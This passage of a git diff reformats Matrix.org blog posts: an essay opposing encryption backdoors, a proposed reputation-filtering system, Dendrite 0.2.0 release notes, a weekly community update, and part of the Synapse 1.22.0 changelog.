place. +* Backdoors necessarily introduce a fatal weak point into encryption for _everyone_, which then becomes the ultimate high value target for attackers. Anyone who can determine the secret needed to break the encryption will gain full access, and you can be absolutely sure **[the backdoor key will leak](https://techcrunch.com/2016/07/27/security-experts-have-cloned-all-seven-tsa-master-keys/)** - whether that’s via intrusion, social engineering, brute-force attacks, or accident. And even if you unilaterally trust your current government to be responsible with the keys to the backdoor, is it wise to unilaterally trust their successors? Computer security is only ever a matter of degree, and the only safe way to keep a secret like this safe is for it not to exist in the first place. -* End-to-end encryption is nowadays a completely ubiquitous technology; **an attempt to legislate against it is like trying to turn back the tide** or declare a branch of mathematics illegal. Even if Matrix did compromise its encryption, users could easily use any number of other approaches to additionally secure their conversations - from PGP, to OTR, to using one-time pads, to sharing content in password-protected ZIP files. Or they could just switch to a E2EE chat system operating from a jurisdiction without backdoors. +* End-to-end encryption is nowadays a completely ubiquitous technology; **an attempt to legislate against it is like trying to turn back the tide** or declare a branch of mathematics illegal. Even if Matrix did compromise its encryption, users could easily use any number of other approaches to additionally secure their conversations - from PGP, to OTR, to using one-time pads, to sharing content in password-protected ZIP files. Or they could just switch to a E2EE chat system operating from a jurisdiction without backdoors. -* Governments protect their own data using end-to-end encryption, precisely because they do not want other governments being able to snoop on them. So not only is it hypocritical for governments to argue for backdoors,** it immediately puts their own governmental data at risk of being compromised**. Moreover, creating infrastructure for backdoors sets an incredibly bad precedent to the rest of the world - where less salubrious governments will inevitably use the same technology to the massive detriment of their citizens’ human rights. +* Governments protect their own data using end-to-end encryption, precisely because they do not want other governments being able to snoop on them. So not only is it hypocritical for governments to argue for backdoors,**it immediately puts their own governmental data at risk of being compromised**. Moreover, creating infrastructure for backdoors sets an incredibly bad precedent to the rest of the world - where less salubrious governments will inevitably use the same technology to the massive detriment of their citizens’ human rights. -* Finally, in Matrix’s specific case: Matrix is an encrypted decentralised open network powered by open source software, where anyone can run a server. Even if the Matrix core team were obligated to add a backdoor, this would be visible to the wider world - and **there would be no way to make the wider network adopt it**. It would just damage the credibility of the core team, push encryption development to other countries, and the wider network would move on irrespectively. +* Finally, in Matrix’s specific case: Matrix is an encrypted decentralised open network powered by open source software, where anyone can run a server. Even if the Matrix core team were obligated to add a backdoor, this would be visible to the wider world - and **there would be no way to make the wider network adopt it**. It would just damage the credibility of the core team, push encryption development to other countries, and the wider network would move on irrespectively. In short, we need to keep E2EE as it is so that it benefits the 99.9% of people who are good actors. If we enforce backdoors and undermine it, then the bad 0.1% percent simply will switch to non-backdoored systems while the 99.9% are left vulnerable. @@ -63,12 +63,12 @@ Just like the Web, Email or the Internet as a whole, there is literally no way t The model we currently have in mind is: -* Anyone can gather reputation data about Matrix rooms / users / servers / communities / content, and publish it to as wide or narrow an audience as they like - providing their subjective score on whether something in Matrix is positive or negative in a given context. -* This reputation data is published in a privacy preserving fashion - i.e. you can look up reputation data if you know the ID being queried, but the data is stored pseudonymised (e.g. indexed by a hashed ID). -* Anyone can subscribe to reputation feeds and blend them together in order to inform how they filter their content. The feeds might be their own data, or from their friends, or from trusted sources (e.g. a fact-checking company). Their blended feed can be republished as their own. -* To prevent users getting trapped in a factional filter bubble of their own devising, we’ll provide UI to visualise and warn about the extent of their filtering - and make it easy and fun to shift their viewpoint as needed. -* Admins running servers in particular jurisdictions then have the option to enforce whatever rules they need on their servers (e.g. they might want to subscribe to reputation feeds from a trusted source such as [the IWF](https://www.iwf.org.uk/), identifying child sexual abuse content, and use it to block it from their server). -* This isn’t just about combating abuse - but the same system can also be used to empower users to filter out spam, propaganda, unwanted NSFW content, etc on their own terms. +* Anyone can gather reputation data about Matrix rooms / users / servers / communities / content, and publish it to as wide or narrow an audience as they like - providing their subjective score on whether something in Matrix is positive or negative in a given context. +* This reputation data is published in a privacy preserving fashion - i.e. you can look up reputation data if you know the ID being queried, but the data is stored pseudonymised (e.g. indexed by a hashed ID). +* Anyone can subscribe to reputation feeds and blend them together in order to inform how they filter their content. The feeds might be their own data, or from their friends, or from trusted sources (e.g. a fact-checking company). Their blended feed can be republished as their own. +* To prevent users getting trapped in a factional filter bubble of their own devising, we’ll provide UI to visualise and warn about the extent of their filtering - and make it easy and fun to shift their viewpoint as needed. +* Admins running servers in particular jurisdictions then have the option to enforce whatever rules they need on their servers (e.g. they might want to subscribe to reputation feeds from a trusted source such as [the IWF](https://www.iwf.org.uk/), identifying child sexual abuse content, and use it to block it from their server). +* This isn’t just about combating abuse - but the same system can also be used to empower users to filter out spam, propaganda, unwanted NSFW content, etc on their own terms. This forms a _relative_ reputation system. As uncomfortable as it may be, one man’s terrorist is another man’s freedom fighter, and different jurisdictions have different laws - and it’s not up to the Matrix.org Foundation to play God and adjudicate. Each user/moderator/admin should be free to make up their own mind and decide which reputation feeds to align themselves with. That is not to say that this system would help users locate extreme content - the privacy-preserving nature of the reputation data means that it’s only useful to filter _out_ material which would otherwise already be visible to you - not to locate new content. diff --git a/content/blog/2020/10/2020-10-20-dendrite-0-2-0-released.md b/content/blog/2020/10/2020-10-20-dendrite-0-2-0-released.md index eebd2454e..72d0df707 100644 --- a/content/blog/2020/10/2020-10-20-dendrite-0-2-0-released.md +++ b/content/blog/2020/10/2020-10-20-dendrite-0-2-0-released.md @@ -23,7 +23,7 @@ We're now in an impressively better place, and it's feeling way more stable now straight to 0.2.0. Now would be a great time for more intrepid explorers to try spinning up a -server from https://github.com/matrix-org/dendrite and see how it feels - the +server from and see how it feels - the more feedback the better. And if you got scared off by weird bugs in 0.1.0, now's the right time to try it again! @@ -34,18 +34,18 @@ Full changelog follows: ### Important * This release makes breaking changes for polylith deployments, since they now use the multi-personality binary rather than separate binary files - * Users of polylith deployments should revise their setups to use the new binary - see the Features section below + * Users of polylith deployments should revise their setups to use the new binary - see the Features section below * This release also makes breaking changes for Docker deployments, as are now publishing images to Docker Hub in separate repositories for monolith and polylith - * New repositories are as follows: [matrixdotorg/dendrite-monolith](https://hub.docker.com/repository/docker/matrixdotorg/dendrite-monolith) and [matrixdotorg/dendrite-polylith](https://hub.docker.com/repository/docker/matrixdotorg/dendrite-polylith) - * The new `latest` tag will be updated with the latest release, and new versioned tags, e.g. `v0.2.0`, will preserve specific release versions - * [Sample Compose configs](https://github.com/matrix-org/dendrite/tree/master/build/docker) have been updated - if you are running a Docker deployment, please review the changes - * Images for the client API proxy and federation API proxy are no longer provided as they are unsupported - please use [nginx](docs/nginx/) (or another reverse proxy) instead + * New repositories are as follows: [matrixdotorg/dendrite-monolith](https://hub.docker.com/repository/docker/matrixdotorg/dendrite-monolith) and [matrixdotorg/dendrite-polylith](https://hub.docker.com/repository/docker/matrixdotorg/dendrite-polylith) + * The new `latest` tag will be updated with the latest release, and new versioned tags, e.g. `v0.2.0`, will preserve specific release versions + * [Sample Compose configs](https://github.com/matrix-org/dendrite/tree/master/build/docker) have been updated - if you are running a Docker deployment, please review the changes + * Images for the client API proxy and federation API proxy are no longer provided as they are unsupported - please use [nginx](docs/nginx/) (or another reverse proxy) instead ### Features * Dendrite polylith deployments now use a special multi-personality binary, rather than separate binaries - * This is cleaner, builds faster and simplifies deployment - * The first command line argument states the component to run, e.g. `./dendrite-polylith-multi roomserver` + * This is cleaner, builds faster and simplifies deployment + * The first command line argument states the component to run, e.g. `./dendrite-polylith-multi roomserver` * Database migrations are now run at startup * Invalid UTF-8 in requests is now rejected (contributed by [Pestdoktor](https://github.com/Pestdoktor)) * Fully read markers are now implemented in the client API (contributed by [Lesterpig](https://github.com/Lesterpig)) diff --git a/content/blog/2020/10/2020-10-23-this-week-in-matrix-2020-10-23.md b/content/blog/2020/10/2020-10-23-this-week-in-matrix-2020-10-23.md index 26dd8e030..afb4d6042 100644 --- a/content/blog/2020/10/2020-10-23-this-week-in-matrix-2020-10-23.md +++ b/content/blog/2020/10/2020-10-23-this-week-in-matrix-2020-10-23.md @@ -22,7 +22,7 @@ image = "https://matrix.org/blog/img/2020-10-23-q7nrn-twim-synapse-2020-10-23-sp > > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -41,7 +41,7 @@ image = "https://matrix.org/blog/img/2020-10-23-q7nrn-twim-synapse-2020-10-23-sp > * [MSC2773: Room kinds](https://github.com/matrix-org/matrix-doc/pull/2773) > * [MSC1722: Support for displaying math(s) in messages](https://github.com/matrix-org/matrix-doc/pull/1722) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we're still focusing on the same MSCs from previous weeks to get widgets over the line. This includes [MSC2774](https://github.com/matrix-org/matrix-doc/pull/2774) to have widgets aware of their widget ID, [MSC2765](https://github.com/matrix-org/matrix-doc/pull/2765) so widgets can be pretty in clients like Element, and [MSC2790](https://github.com/matrix-org/matrix-doc/pull/2790) to support a form of user input with widgets. > @@ -86,7 +86,7 @@ Dendrite is a next-generation homeserver written in Go [Neil Alexander](https://matrix.to/#/@neilalexander:matrix.org) offered: -> This week we released [v0.2.0](https://github.com/matrix-org/dendrite/releases/tag/v0.2.0) on Tuesday, a [reasonably big update](https://matrix.org/blog/2020/10/20/dendrite-0-2-0-released) containing various improvements over the initial beta release, and then followed it up with a bug-fix [v0.2.1](https://github.com/matrix-org/dendrite/releases/tag/v0.2.1) release on Thursday. +> This week we released [v0.2.0](https://github.com/matrix-org/dendrite/releases/tag/v0.2.0) on Tuesday, a [reasonably big update](https://matrix.org/blog/2020/10/20/dendrite-0-2-0-released) containing various improvements over the initial beta release, and then followed it up with a bug-fix [v0.2.1](https://github.com/matrix-org/dendrite/releases/tag/v0.2.1) release on Thursday. > > Thanks to everyone who has been running Dendrite and reporting their findings, and also to contributors who have been submitting pull requests! > @@ -119,21 +119,21 @@ Dendrite is a next-generation homeserver written in Go [Timo](https://matrix.to/#/@timo:conduit.rs) stepped in to tell us: > This was another productive week: -> -> - Improved thumbnailing algorithm (higher quality, less stored data, correct) -> - Allow unjoined users to read state of world readable rooms (this makes shields.io work with conduit) -> - Docs for cross compiling conduit -> - Fixed stuck / double-join over federation -> - Fixed random timeline reload bug -> - Welcome message in admin room -> - More frequent flushing -> +> +> * Improved thumbnailing algorithm (higher quality, less stored data, correct) +> * Allow unjoined users to read state of world readable rooms (this makes shields.io work with conduit) +> * Docs for cross compiling conduit +> * Fixed stuck / double-join over federation +> * Fixed random timeline reload bug +> * Welcome message in admin room +> * More frequent flushing +> > Some WIP things: -> -> - Provide Conduit binaries for most platforms to make setting up or updating a Conduit instance even easier -> - More reliable sending over federation -> - Bring all features of our Ruma fork upstream -> +> +> * Provide Conduit binaries for most platforms to make setting up or updating a Conduit instance even easier +> * More reliable sending over federation +> * Bring all features of our Ruma fork upstream +> > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! ## Homeserver Deployment 📥️ @@ -209,8 +209,6 @@ Synapse running on a Pi zero..? > > And that’s not all! [Good progress has been made](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/642) towards rendering `formatted_body`. Hopefully that should be merged soon. - - ![2020-10-23-yBL4B-image.png](/blog/img/2020-10-23-yBL4B-image.png) ### Element Web diff --git a/content/blog/2020/10/2020-10-27-synapse-1-22-0-released.md b/content/blog/2020/10/2020-10-27-synapse-1-22-0-released.md index a0d992f17..e4eb14b34 100644 --- a/content/blog/2020/10/2020-10-27-synapse-1-22-0-released.md +++ b/content/blog/2020/10/2020-10-27-synapse-1-22-0-released.md @@ -12,133 +12,119 @@ category = ["Releases"] This release focused on improving Synapse's horizontal scalability, including: - * Support for running background tasks in separate worker processes. - * Fixes to sharded event persisters, which were experimentally introduced in 1.21.0. - * Fixing a message duplication bug with worker-based deployments. ([\#8476](https://github.com/matrix-org/synapse/issues/8476)) +* Support for running background tasks in separate worker processes. +* Fixes to sharded event persisters, which were experimentally introduced in 1.21.0. +* Fixing a message duplication bug with worker-based deployments. ([\#8476](https://github.com/matrix-org/synapse/issues/8476)) Synapse 1.22.0 also has a few other notable changes: - * Defaulting to [version 6](https://matrix.org/docs/spec/rooms/v6) rooms, per [MSC2788](https://github.com/matrix-org/matrix-doc/pull/2788/). - * Initial support for three new experimental MSCs: - * [MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732): Supporting olm fallback keys - * [MSC2697](https://github.com/matrix-org/matrix-doc/pull/2697): Supporting device dehydration - * [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409): Allowing appservices to receive ephemeral events like read receipts, presence, and typing indicators. - * Multi-arch Docker images, covering `arm64` and `arm/v7` in addition to `amd64`. - +* Defaulting to [version 6](https://matrix.org/docs/spec/rooms/v6) rooms, per [MSC2788](https://github.com/matrix-org/matrix-doc/pull/2788/). +* Initial support for three new experimental MSCs: + * [MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732): Supporting olm fallback keys + * [MSC2697](https://github.com/matrix-org/matrix-doc/pull/2697): Supporting device dehydration + * [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409): Allowing appservices to receive ephemeral events like read receipts, presence, and typing indicators. +* Multi-arch Docker images, covering `arm64` and `arm/v7` in addition to `amd64`. Installation instructions are available [on GitHub](https://github.com/matrix-org/synapse/blob/master/INSTALL.md), as is the `v1.22.0` [release tag](https://github.com/matrix-org/synapse/releases/tag/v1.22.0). - Lastly, Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including [@Akkowicz](https://github.com/Akkowicz), [@BBBSnowball](https://github.com/BBBSnowball), [@maquis196](https://github.com/maquis196), and [@samuel-p](https://github.com/samuel-p). - The full changelog for 1.22.0 is as follows: - -Synapse 1.22.0 (2020-10-27) -=========================== +## Synapse 1.22.0 (2020-10-27) No significant changes. -Synapse 1.22.0rc2 (2020-10-26) -============================== - -Bugfixes --------- - -- Fix bugs where ephemeral events were not sent to appservices. Broke in v1.22.0rc1. ([\#8648](https://github.com/matrix-org/synapse/issues/8648), [\#8656](https://github.com/matrix-org/synapse/issues/8656)) -- Fix `user_daily_visits` table to not have duplicate rows per user/device due to multiple user agents. Broke in v1.22.0rc1. ([\#8654](https://github.com/matrix-org/synapse/issues/8654)) - -Synapse 1.22.0rc1 (2020-10-22) -============================== - -Features --------- - -- Add a configuration option for always using the "userinfo endpoint" for OpenID Connect. This fixes support for some identity providers, e.g. GitLab. Contributed by Benjamin Koch. ([\#7658](https://github.com/matrix-org/synapse/issues/7658)) -- Add ability for `ThirdPartyEventRules` modules to query and manipulate whether a room is in the public rooms directory. ([\#8292](https://github.com/matrix-org/synapse/issues/8292), [\#8467](https://github.com/matrix-org/synapse/issues/8467)) -- Add support for olm fallback keys ([MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732)). ([\#8312](https://github.com/matrix-org/synapse/issues/8312), [\#8501](https://github.com/matrix-org/synapse/issues/8501)) -- Add support for running background tasks in a separate worker process. ([\#8369](https://github.com/matrix-org/synapse/issues/8369), [\#8458](https://github.com/matrix-org/synapse/issues/8458), [\#8489](https://github.com/matrix-org/synapse/issues/8489), [\#8513](https://github.com/matrix-org/synapse/issues/8513), [\#8544](https://github.com/matrix-org/synapse/issues/8544), [\#8599](https://github.com/matrix-org/synapse/issues/8599)) -- Add support for device dehydration ([MSC2697](https://github.com/matrix-org/matrix-doc/pull/2697)). ([\#8380](https://github.com/matrix-org/synapse/issues/8380)) -- Add support for [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409), which allows sending typing, read receipts, and presence events to appservices. ([\#8437](https://github.com/matrix-org/synapse/issues/8437), [\#8590](https://github.com/matrix-org/synapse/issues/8590)) -- Change default room version to "6", per [MSC2788](https://github.com/matrix-org/matrix-doc/pull/2788). ([\#8461](https://github.com/matrix-org/synapse/issues/8461)) -- Add the ability to send non-membership events into a room via the `ModuleApi`. ([\#8479](https://github.com/matrix-org/synapse/issues/8479)) -- Increase default upload size limit from 10M to 50M. Contributed by @Akkowicz. ([\#8502](https://github.com/matrix-org/synapse/issues/8502)) -- Add support for modifying event content in `ThirdPartyRules` modules. ([\#8535](https://github.com/matrix-org/synapse/issues/8535), [\#8564](https://github.com/matrix-org/synapse/issues/8564)) - -Bugfixes --------- - -- Fix a longstanding bug where invalid ignored users in account data could break clients. ([\#8454](https://github.com/matrix-org/synapse/issues/8454)) -- Fix a bug where backfilling a room with an event that was missing the `redacts` field would break. ([\#8457](https://github.com/matrix-org/synapse/issues/8457)) -- Don't attempt to respond to some requests if the client has already disconnected. ([\#8465](https://github.com/matrix-org/synapse/issues/8465)) -- Fix message duplication if something goes wrong after persisting the event. ([\#8476](https://github.com/matrix-org/synapse/issues/8476)) -- Fix incremental sync returning an incorrect `prev_batch` token in timeline section, which when used to paginate returned events that were included in the incremental sync. Broken since v0.16.0. ([\#8486](https://github.com/matrix-org/synapse/issues/8486)) -- Expose the `uk.half-shot.msc2778.login.application_service` to clients from the login API. This feature was added in v1.21.0, but was not exposed as a potential login flow. ([\#8504](https://github.com/matrix-org/synapse/issues/8504)) -- Fix error code for `/profile/{userId}/displayname` to be `M_BAD_JSON`. ([\#8517](https://github.com/matrix-org/synapse/issues/8517)) -- Fix a bug introduced in v1.7.0 that could cause Synapse to insert values from non-state `m.room.retention` events into the `room_retention` database table. ([\#8527](https://github.com/matrix-org/synapse/issues/8527)) -- Fix not sending events over federation when using sharded event writers. ([\#8536](https://github.com/matrix-org/synapse/issues/8536)) -- Fix a long standing bug where email notifications for encrypted messages were blank. ([\#8545](https://github.com/matrix-org/synapse/issues/8545)) -- Fix increase in the number of `There was no active span...` errors logged when using OpenTracing. ([\#8567](https://github.com/matrix-org/synapse/issues/8567)) -- Fix a bug that prevented errors encountered during execution of the `synapse_port_db` from being correctly printed. ([\#8585](https://github.com/matrix-org/synapse/issues/8585)) -- Fix appservice transactions to only include a maximum of 100 persistent and 100 ephemeral events. ([\#8606](https://github.com/matrix-org/synapse/issues/8606)) - -Updates to the Docker image ---------------------------- - -- Added multi-arch support (arm64,arm/v7) for the docker images. Contributed by @maquis196. ([\#7921](https://github.com/matrix-org/synapse/issues/7921)) -- Add support for passing commandline args to the synapse process. Contributed by @samuel-p. ([\#8390](https://github.com/matrix-org/synapse/issues/8390)) - -Improved Documentation ----------------------- - -- Update the directions for using the manhole with coroutines. ([\#8462](https://github.com/matrix-org/synapse/issues/8462)) -- Improve readme by adding new shield.io badges. ([\#8493](https://github.com/matrix-org/synapse/issues/8493)) -- Added note about docker in manhole.md regarding which ip address to bind to. Contributed by @Maquis196. ([\#8526](https://github.com/matrix-org/synapse/issues/8526)) -- Document the new behaviour of the `allowed_lifetime_min` and `allowed_lifetime_max` settings in the room retention configuration. ([\#8529](https://github.com/matrix-org/synapse/issues/8529)) - -Deprecations and Removals -------------------------- - -- Drop unused `device_max_stream_id` table. ([\#8589](https://github.com/matrix-org/synapse/issues/8589)) - -Internal Changes ----------------- - -- Check for unreachable code with mypy. ([\#8432](https://github.com/matrix-org/synapse/issues/8432)) -- Add unit test for event persister sharding. ([\#8433](https://github.com/matrix-org/synapse/issues/8433)) -- Allow events to be sent to clients sooner when using sharded event persisters. ([\#8439](https://github.com/matrix-org/synapse/issues/8439), [\#8488](https://github.com/matrix-org/synapse/issues/8488), [\#8496](https://github.com/matrix-org/synapse/issues/8496), [\#8499](https://github.com/matrix-org/synapse/issues/8499)) -- Configure `public_baseurl` when using demo scripts. ([\#8443](https://github.com/matrix-org/synapse/issues/8443)) -- Add SQL logging on queries that happen during startup. ([\#8448](https://github.com/matrix-org/synapse/issues/8448)) -- Speed up unit tests when using PostgreSQL. ([\#8450](https://github.com/matrix-org/synapse/issues/8450)) -- Remove redundant database loads of stream_ordering for events we already have. ([\#8452](https://github.com/matrix-org/synapse/issues/8452)) -- Reduce inconsistencies between codepaths for membership and non-membership events. ([\#8463](https://github.com/matrix-org/synapse/issues/8463)) -- Combine `SpamCheckerApi` with the more generic `ModuleApi`. ([\#8464](https://github.com/matrix-org/synapse/issues/8464)) -- Additional testing for `ThirdPartyEventRules`. ([\#8468](https://github.com/matrix-org/synapse/issues/8468)) -- Add `-d` option to `./scripts-dev/lint.sh` to lint files that have changed since the last git commit. ([\#8472](https://github.com/matrix-org/synapse/issues/8472)) -- Unblacklist some sytests. ([\#8474](https://github.com/matrix-org/synapse/issues/8474)) -- Include the log level in the phone home stats. ([\#8477](https://github.com/matrix-org/synapse/issues/8477)) -- Remove outdated sphinx documentation, scripts and configuration. ([\#8480](https://github.com/matrix-org/synapse/issues/8480)) -- Clarify error message when plugin config parsers raise an error. ([\#8492](https://github.com/matrix-org/synapse/issues/8492)) -- Remove the deprecated `Handlers` object. ([\#8494](https://github.com/matrix-org/synapse/issues/8494)) -- Fix a threadsafety bug in unit tests. ([\#8497](https://github.com/matrix-org/synapse/issues/8497)) -- Add user agent to user_daily_visits table. ([\#8503](https://github.com/matrix-org/synapse/issues/8503)) -- Add type hints to various parts of the code base. ([\#8407](https://github.com/matrix-org/synapse/issues/8407), [\#8505](https://github.com/matrix-org/synapse/issues/8505), [\#8507](https://github.com/matrix-org/synapse/issues/8507), [\#8547](https://github.com/matrix-org/synapse/issues/8547), [\#8562](https://github.com/matrix-org/synapse/issues/8562), [\#8609](https://github.com/matrix-org/synapse/issues/8609)) -- Remove unused code from the test framework. ([\#8514](https://github.com/matrix-org/synapse/issues/8514)) -- Apply some internal fixes to the `HomeServer` class to make its code more idiomatic and statically-verifiable. ([\#8515](https://github.com/matrix-org/synapse/issues/8515)) -- Factor out common code between `RoomMemberHandler._locally_reject_invite` and `EventCreationHandler.create_event`. ([\#8537](https://github.com/matrix-org/synapse/issues/8537)) -- Improve database performance by executing more queries without starting transactions. ([\#8542](https://github.com/matrix-org/synapse/issues/8542)) -- Rename `Cache` to `DeferredCache`, to better reflect its purpose. ([\#8548](https://github.com/matrix-org/synapse/issues/8548)) -- Move metric registration code down into `LruCache`. ([\#8561](https://github.com/matrix-org/synapse/issues/8561), [\#8591](https://github.com/matrix-org/synapse/issues/8591)) -- Replace `DeferredCache` with the lighter-weight `LruCache` where possible. ([\#8563](https://github.com/matrix-org/synapse/issues/8563)) -- Add virtualenv-generated folders to `.gitignore`. ([\#8566](https://github.com/matrix-org/synapse/issues/8566)) -- Add `get_immediate` method to `DeferredCache`. ([\#8568](https://github.com/matrix-org/synapse/issues/8568)) -- Fix mypy not properly checking across the codebase, additionally, fix a typing assertion error in `handlers/auth.py`. ([\#8569](https://github.com/matrix-org/synapse/issues/8569)) -- Fix `synmark` benchmark runner. ([\#8571](https://github.com/matrix-org/synapse/issues/8571)) -- Modify `DeferredCache.get()` to return `Deferred`s instead of `ObservableDeferred`s. ([\#8572](https://github.com/matrix-org/synapse/issues/8572)) -- Adjust a protocol-type definition to fit `sqlite3` assertions. ([\#8577](https://github.com/matrix-org/synapse/issues/8577)) -- Support macOS on the `synmark` benchmark runner. ([\#8578](https://github.com/matrix-org/synapse/issues/8578)) -- Update `mypy` static type checker to 0.790. ([\#8583](https://github.com/matrix-org/synapse/issues/8583), [\#8600](https://github.com/matrix-org/synapse/issues/8600)) -- Re-organize the structured logging code to separate the TCP transport handling from the JSON formatting. ([\#8587](https://github.com/matrix-org/synapse/issues/8587)) -- Remove extraneous unittest logging decorators from unit tests. ([\#8592](https://github.com/matrix-org/synapse/issues/8592)) -- Minor optimisations in caching code. ([\#8593](https://github.com/matrix-org/synapse/issues/8593), [\#8594](https://github.com/matrix-org/synapse/issues/8594)) +## Synapse 1.22.0rc2 (2020-10-26) + +### Bugfixes + +* Fix bugs where ephemeral events were not sent to appservices. Broke in v1.22.0rc1. ([\#8648](https://github.com/matrix-org/synapse/issues/8648), [\#8656](https://github.com/matrix-org/synapse/issues/8656)) +* Fix `user_daily_visits` table to not have duplicate rows per user/device due to multiple user agents. Broke in v1.22.0rc1. ([\#8654](https://github.com/matrix-org/synapse/issues/8654)) + +## Synapse 1.22.0rc1 (2020-10-22) + +### Features + +* Add a configuration option for always using the "userinfo endpoint" for OpenID Connect. This fixes support for some identity providers, e.g. GitLab. Contributed by Benjamin Koch. ([\#7658](https://github.com/matrix-org/synapse/issues/7658)) +* Add ability for `ThirdPartyEventRules` modules to query and manipulate whether a room is in the public rooms directory. ([\#8292](https://github.com/matrix-org/synapse/issues/8292), [\#8467](https://github.com/matrix-org/synapse/issues/8467)) +* Add support for olm fallback keys ([MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732)). ([\#8312](https://github.com/matrix-org/synapse/issues/8312), [\#8501](https://github.com/matrix-org/synapse/issues/8501)) +* Add support for running background tasks in a separate worker process. ([\#8369](https://github.com/matrix-org/synapse/issues/8369), [\#8458](https://github.com/matrix-org/synapse/issues/8458), [\#8489](https://github.com/matrix-org/synapse/issues/8489), [\#8513](https://github.com/matrix-org/synapse/issues/8513), [\#8544](https://github.com/matrix-org/synapse/issues/8544), [\#8599](https://github.com/matrix-org/synapse/issues/8599)) +* Add support for device dehydration ([MSC2697](https://github.com/matrix-org/matrix-doc/pull/2697)). ([\#8380](https://github.com/matrix-org/synapse/issues/8380)) +* Add support for [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409), which allows sending typing, read receipts, and presence events to appservices. ([\#8437](https://github.com/matrix-org/synapse/issues/8437), [\#8590](https://github.com/matrix-org/synapse/issues/8590)) +* Change default room version to "6", per [MSC2788](https://github.com/matrix-org/matrix-doc/pull/2788). ([\#8461](https://github.com/matrix-org/synapse/issues/8461)) +* Add the ability to send non-membership events into a room via the `ModuleApi`. ([\#8479](https://github.com/matrix-org/synapse/issues/8479)) +* Increase default upload size limit from 10M to 50M. Contributed by @Akkowicz. ([\#8502](https://github.com/matrix-org/synapse/issues/8502)) +* Add support for modifying event content in `ThirdPartyRules` modules. ([\#8535](https://github.com/matrix-org/synapse/issues/8535), [\#8564](https://github.com/matrix-org/synapse/issues/8564)) + +### Bugfixes + +* Fix a longstanding bug where invalid ignored users in account data could break clients. ([\#8454](https://github.com/matrix-org/synapse/issues/8454)) +* Fix a bug where backfilling a room with an event that was missing the `redacts` field would break. ([\#8457](https://github.com/matrix-org/synapse/issues/8457)) +* Don't attempt to respond to some requests if the client has already disconnected. ([\#8465](https://github.com/matrix-org/synapse/issues/8465)) +* Fix message duplication if something goes wrong after persisting the event. ([\#8476](https://github.com/matrix-org/synapse/issues/8476)) +* Fix incremental sync returning an incorrect `prev_batch` token in timeline section, which when used to paginate returned events that were included in the incremental sync. Broken since v0.16.0. ([\#8486](https://github.com/matrix-org/synapse/issues/8486)) +* Expose the `uk.half-shot.msc2778.login.application_service` to clients from the login API. This feature was added in v1.21.0, but was not exposed as a potential login flow. ([\#8504](https://github.com/matrix-org/synapse/issues/8504)) +* Fix error code for `/profile/{userId}/displayname` to be `M_BAD_JSON`. ([\#8517](https://github.com/matrix-org/synapse/issues/8517)) +* Fix a bug introduced in v1.7.0 that could cause Synapse to insert values from non-state `m.room.retention` events into the `room_retention` database table. ([\#8527](https://github.com/matrix-org/synapse/issues/8527)) +* Fix not sending events over federation when using sharded event writers. ([\#8536](https://github.com/matrix-org/synapse/issues/8536)) +* Fix a long standing bug where email notifications for encrypted messages were blank. ([\#8545](https://github.com/matrix-org/synapse/issues/8545)) +* Fix increase in the number of `There was no active span...` errors logged when using OpenTracing. ([\#8567](https://github.com/matrix-org/synapse/issues/8567)) +* Fix a bug that prevented errors encountered during execution of the `synapse_port_db` from being correctly printed. ([\#8585](https://github.com/matrix-org/synapse/issues/8585)) +* Fix appservice transactions to only include a maximum of 100 persistent and 100 ephemeral events. ([\#8606](https://github.com/matrix-org/synapse/issues/8606)) + +### Updates to the Docker image + +* Added multi-arch support (arm64,arm/v7) for the docker images. Contributed by @maquis196. ([\#7921](https://github.com/matrix-org/synapse/issues/7921)) +* Add support for passing commandline args to the synapse process. Contributed by @samuel-p. ([\#8390](https://github.com/matrix-org/synapse/issues/8390)) + +### Improved Documentation + +* Update the directions for using the manhole with coroutines. ([\#8462](https://github.com/matrix-org/synapse/issues/8462)) +* Improve readme by adding new shield.io badges. ([\#8493](https://github.com/matrix-org/synapse/issues/8493)) +* Added note about docker in manhole.md regarding which ip address to bind to. Contributed by @Maquis196. ([\#8526](https://github.com/matrix-org/synapse/issues/8526)) +* Document the new behaviour of the `allowed_lifetime_min` and `allowed_lifetime_max` settings in the room retention configuration. ([\#8529](https://github.com/matrix-org/synapse/issues/8529)) + +### Deprecations and Removals + +* Drop unused `device_max_stream_id` table. ([\#8589](https://github.com/matrix-org/synapse/issues/8589)) + +### Internal Changes + +* Check for unreachable code with mypy. ([\#8432](https://github.com/matrix-org/synapse/issues/8432)) +* Add unit test for event persister sharding. ([\#8433](https://github.com/matrix-org/synapse/issues/8433)) +* Allow events to be sent to clients sooner when using sharded event persisters. ([\#8439](https://github.com/matrix-org/synapse/issues/8439), [\#8488](https://github.com/matrix-org/synapse/issues/8488), [\#8496](https://github.com/matrix-org/synapse/issues/8496), [\#8499](https://github.com/matrix-org/synapse/issues/8499)) +* Configure `public_baseurl` when using demo scripts. ([\#8443](https://github.com/matrix-org/synapse/issues/8443)) +* Add SQL logging on queries that happen during startup. ([\#8448](https://github.com/matrix-org/synapse/issues/8448)) +* Speed up unit tests when using PostgreSQL. ([\#8450](https://github.com/matrix-org/synapse/issues/8450)) +* Remove redundant database loads of stream_ordering for events we already have. ([\#8452](https://github.com/matrix-org/synapse/issues/8452)) +* Reduce inconsistencies between codepaths for membership and non-membership events. ([\#8463](https://github.com/matrix-org/synapse/issues/8463)) +* Combine `SpamCheckerApi` with the more generic `ModuleApi`. ([\#8464](https://github.com/matrix-org/synapse/issues/8464)) +* Additional testing for `ThirdPartyEventRules`. ([\#8468](https://github.com/matrix-org/synapse/issues/8468)) +* Add `-d` option to `./scripts-dev/lint.sh` to lint files that have changed since the last git commit. 